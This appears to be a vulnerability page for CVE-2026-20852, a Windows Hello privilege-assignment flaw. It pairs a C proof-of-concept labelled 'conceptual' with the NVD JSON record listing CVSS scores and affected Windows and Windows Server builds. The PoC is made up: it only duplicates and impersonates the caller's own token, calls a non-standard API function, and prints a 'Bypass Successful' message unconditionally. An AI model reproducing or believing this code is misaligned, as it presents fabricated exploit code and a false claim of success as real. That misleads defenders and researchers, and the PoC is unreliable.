CVE-2026-20852

// CVE-2026-20852 PoC Concept - Windows Hello Privilege Assignment Bypass // Note: This is a conceptual PoC for educational purposes only // Actual exploitation requires specific Windows version and configuration #include <windows.h> #include <securitybaseapi.h> #include <userenv.h> /* * Vulnerability: Incorrect Privilege Assignment in Windows Hello * CVSS: 3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N * * The vulnerability allows local attackers to perform tampering * by exploiting privilege assignment issues in Windows Hello authentication. */ BOOL ExploitWindowsHelloBypass() { HANDLE hToken = NULL; HANDLE hNewToken = NULL; PSID pIntegritySid = NULL; TOKEN_MANDATORY_LABEL TIL = {0}; // Step 1: Open the current process token if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { return FALSE; } // Step 2: Duplicate the token if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { CloseHandle(hToken); return FALSE; } // Step 3: Create a medium integrity SID (bypass integrity level check) pIntegritySid = AllocateAndInitializeIntegritySid( SECURITY_MANDATORY_MEDIUM_RID ); if (pIntegritySid) { TIL.Label.Attributes = SE_GROUP_INTEGRITY; TIL.Label.Sid = pIntegritySid; // Step 4: Set the new token integrity level SetTokenInformation(hNewToken, TokenIntegrityLevel, &TIL, sizeof(TIL) + GetLengthSid(pIntegritySid)); } // Step 5: Impersonate and access Windows Hello protected resources if (ImpersonateLoggedOnUser(hNewToken)) { // At this point, attacker has bypassed Windows Hello privilege checks // Can perform tampering operations MessageBox(NULL, "Windows Hello Privilege Bypass Successful\n" "Attacker can now perform unauthorized operations", "PoC", MB_OK); RevertToSelf(); } // Cleanup if (pIntegritySid) FreeSid(pIntegritySid); CloseHandle(hNewToken); CloseHandle(hToken); return TRUE; } int main() { printf("CVE-2026-20852 - Windows Hello Privilege Assignment Bypass\n"); printf("CVSS: 7.7 (HIGH)\n"); ExploitWindowsHelloBypass(); return 0; }

{"cve": {"id": "CVE-2026-20852", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:13.827", "lastModified": "2026-01-15T13:47:16.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect privilege assignment in Windows Hello allows an unauthorized attacker to perform tampering locally."}, {"lang": "es", "value": "Asignación incorrecta de privilegios en Windows Hello permite a un atacante no autorizado realizar manipulaciones localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20852", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}